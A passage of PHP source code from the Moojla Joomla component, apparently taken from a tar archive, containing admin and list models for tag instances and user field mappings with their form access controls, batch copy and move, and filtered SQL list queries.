'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/tag_instance.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.tag_instance.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.tag_instance.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.tag_instance.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_tag_instance'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.tag_instance.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.tag_instance', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('tag_instance');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('tag_instance');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->moojlacourse)
&& !is_numeric($this->table->moojlacourse))
{
$this->table->moojlacourse =
$this->generateUnique('moojlacourse',$this->table->moojlacourse);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('tag_instance');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/tag_instances.php000064400000023354151165724400011376
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instances.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tag_instances Model
*/
class MoojlaModelTag_instances extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.access','access',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'g.fullname','moojlacourse',
'h.tagname','moodletag'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
if ($formSubmited)
{
$moojlacourse =
$app->input->post->get('moojlacourse');
$this->setState('filter.moojlacourse', $moojlacourse);
}
$moodletag = $this->getUserStateFromRequest($this->context .
'.filter.moodletag', 'filter_moodletag');
if ($formSubmited)
{
$moodletag = $app->input->post->get('moodletag');
$this->setState('filter.moodletag', $moodletag);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_tag_instance',
'a'));
// From the moojla_course table.
$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');
// From the moojla_tag table.
$query->select($db->quoteName('h.tagname','moodletag_tagname'));
$query->join('LEFT',
$db->quoteName('#__moojla_tag', 'h') . ' ON
(' . $db->quoteName('a.moodletag') . ' = ' .
$db->quoteName('h.tagid') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Join over the asset groups.
$query->select('ag.title AS access_level');
$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
// Filter by access level.
$_access = $this->getState('filter.access');
if ($_access && is_numeric($_access))
{
$query->where('a.access = ' . (int) $_access);
}
elseif (MoojlaHelper::checkArray($_access))
{
// Secure the array for the query
$_access = ArrayHelper::toInteger($_access);
// Filter by the Access Array.
$query->where('a.access IN (' . implode(',',
$_access) . ')');
}
// Implement View Level Access
if (!$user->authorise('core.options',
'com_moojla'))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.moodletag LIKE
'.$search.' OR h.tagname LIKE '.$search.')');
}
}
// Filter by Moojlacourse.
$_moojlacourse = $this->getState('filter.moojlacourse');
if (is_numeric($_moojlacourse))
{
if (is_float($_moojlacourse))
{
$query->where('a.moojlacourse = ' . (float)
$_moojlacourse);
}
else
{
$query->where('a.moojlacourse = ' . (int) $_moojlacourse);
}
}
elseif (MoojlaHelper::checkString($_moojlacourse))
{
$query->where('a.moojlacourse = ' .
$db->quote($db->escape($_moojlacourse)));
}
// Filter by Moodletag.
$_moodletag = $this->getState('filter.moodletag');
if (is_numeric($_moodletag))
{
if (is_float($_moodletag))
{
$query->where('a.moodletag = ' . (float) $_moodletag);
}
else
{
$query->where('a.moodletag = ' . (int) $_moodletag);
}
}
elseif (MoojlaHelper::checkString($_moodletag))
{
$query->where('a.moodletag = ' .
$db->quote($db->escape($_moodletag)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
// Check if the value is an array
$_access = $this->getState('filter.access');
if (MoojlaHelper::checkArray($_access))
{
$id .= ':' . implode(':', $_access);
}
// Check if this is only an number or string
elseif (is_numeric($_access)
|| MoojlaHelper::checkString($_access))
{
$id .= ':' . $_access;
}
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' .
$this->getState('filter.moojlacourse');
$id .= ':' . $this->getState('filter.moodletag');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_tag_instance'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_tag_instance'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/user_fields_map.php000064400000022634151165724400011715
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_fields_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_fields_map Model
*/
class MoojlaModelUser_fields_map extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.iscv','iscv',
'g.name','juserfields',
'h.id','muserfields'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$iscv = $this->getUserStateFromRequest($this->context .
'.filter.iscv', 'filter_iscv');
if ($formSubmited)
{
$iscv = $app->input->post->get('iscv');
$this->setState('filter.iscv', $iscv);
}
$juserfields = $this->getUserStateFromRequest($this->context .
'.filter.juserfields', 'filter_juserfields');
if ($formSubmited)
{
$juserfields = $app->input->post->get('juserfields');
$this->setState('filter.juserfields', $juserfields);
}
$muserfields = $this->getUserStateFromRequest($this->context .
'.filter.muserfields', 'filter_muserfields');
if ($formSubmited)
{
$muserfields = $app->input->post->get('muserfields');
$this->setState('filter.muserfields', $muserfields);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// set selection value to a translatable value
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// convert iscv
$item->iscv = $this->selectionTranslation($item->iscv,
'iscv');
}
}
/***[JCBGUI.admin_view.php_getitems_after_all.134.$$$$]***/
foreach($items as $index => $it)
{
$items[$index]->juserfields_name = substr($it->juserfields,
3);
$items[$index]->muserfields_id = substr($it->muserfields, 3);
}
/***[/JCBGUI$$$$]***/
// return items
return $items;
}
/**
* Method to convert selection values to translatable string.
*
* @return translatable string
*/
public function selectionTranslation($value,$name)
{
// Array of iscv language strings
if ($name === 'iscv')
{
$iscvArray = array(
1 => 'COM_MOOJLA_USER_FIELD_MAP_YES',
0 => 'COM_MOOJLA_USER_FIELD_MAP_NO'
);
// Now check if value is found in this array
if (isset($iscvArray[$value]) &&
MoojlaHelper::checkString($iscvArray[$value]))
{
return $iscvArray[$value];
}
}
return $value;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_user_field_map',
'a'));
// From the fields table.
$query->select($db->quoteName('g.name','juserfields_name'));
$query->join('LEFT',
$db->quoteName('#__fields', 'g') . ' ON ('
. $db->quoteName('a.juserfields') . ' = ' .
$db->quoteName('g.id') . ')');
// From the moojla_user_field_map table.
$query->select($db->quoteName('h.id','muserfields_id'));
$query->join('LEFT',
$db->quoteName('#__moojla_user_field_map', 'h') .
' ON (' . $db->quoteName('a.muserfields') . ' =
' . $db->quoteName('h.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.juserfields LIKE '.$search.' OR
g.name LIKE '.$search.' OR a.muserfields LIKE
'.$search.' OR h.id LIKE '.$search.')');
}
}
// Filter by Iscv.
$_iscv = $this->getState('filter.iscv');
if (is_numeric($_iscv))
{
if (is_float($_iscv))
{
$query->where('a.iscv = ' . (float) $_iscv);
}
else
{
$query->where('a.iscv = ' . (int) $_iscv);
}
}
elseif (MoojlaHelper::checkString($_iscv))
{
$query->where('a.iscv = ' .
$db->quote($db->escape($_iscv)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.iscv');
$id .= ':' .
$this->getState('filter.juserfields');
$id .= ':' .
$this->getState('filter.muserfields');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_user_field_map'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_user_field_map'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/user_field_map.php000064400000052376151165724400011540
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_field_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla User_field_map Model
*/
class MoojlaModelUser_field_map extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'juserfields',
'muserfields',
'iscv'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.user_field_map';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'user_field_map', $prefix =
'MoojlaTable', $config = array())
{
